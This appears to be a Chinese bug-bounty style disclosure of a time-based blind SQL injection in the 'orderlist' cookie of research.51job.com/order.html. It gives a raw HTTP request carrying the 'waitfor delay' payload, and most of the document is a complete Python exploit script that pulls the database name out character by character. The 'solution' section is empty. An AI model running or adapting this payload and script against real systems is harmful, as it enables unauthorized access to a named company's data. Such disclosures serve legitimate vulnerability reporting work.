51job分站存在SQL注入

51job分站存在SQL注入

GET /order.html HTTP/1.1
Cookie: ASPSESSIONIDQCCBRQDA=PAAEILKAFGNBCKPECJMAKPMM; readlist=196%2C25%2C294%2C340%2C307; orderlist=-1)%3Bif(ascii(substring(USER,1,1))>103)%20waitfor%20delay%20'0:0:10'%20--%20; Hm_lvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491620,1465491620,1465491621,1465491621; Hm_lpvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491621; HMACCOUNT=CE77C9E3D0040FF7
X-Requested-With: XMLHttpRequest
Referer: https://research.51job.com/
Host: research.51job.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

current result is h{{l
 

#!/usr/bin/python
# coding=utf-8
import httplib,time,string,sys,random,urllib
import requests
def getPayloadCookie(i,payload):
    x = "ASPSESSIONIDQCCBRQDA=PAAEILKAFGNBCKPECJMAKPMM; readlist=196%2C25%2C294%2C340%2C307; orderlist=-1)%3Bif(ascii(substring(DB_NAME(),"+str(i)+",1))>"+str(ord(payload))+")%20waitfor%20delay%20'0:0:10'%20--%20; Hm_lvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491620,1465491620,1465491621,1465491621; Hm_lpvt_2fb608bf1ad8b9b8ce2e04b58003184e=1465491621; HMACCOUNT=CE77C9E3D0040FF7"
    headers = {
        'Host': 'research.51job.com',
        'Accept': '*/*',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4',
        'X-Requested-With': 'XMLHttpRequest',
        'Referer': 'https://research.51job.com/',
        'Connection': 'Keep-alive',
        'Cookie': x
    }
    return headers
def exploit():
    res = ''
    url = 'https://research.51job.com/order.html'
    payloads = ['@','_','.']+ list(string.ascii_lowercase)+list(string.ascii_uppercase) +[str(i) for i in range(10) ]
    payloads = sorted(payloads,reverse=True)
    for i in range(1,30,1):
        for payload in payloads:
            try:
                headers = getPayloadCookie(i,payload)
                response = requests.request(method='GET',url=url,headers=headers, timeout=3)
                print chr(ord(payload)+1),
                sys.stdout.flush()
            except Exception,e:
                res += chr(ord(payload)+1)
                print "\ncurrent result is",res
                break
    print res
if __name__=='__main__':
    exploit()
    #getPayloadCookie(2,'a')

 

解决方案：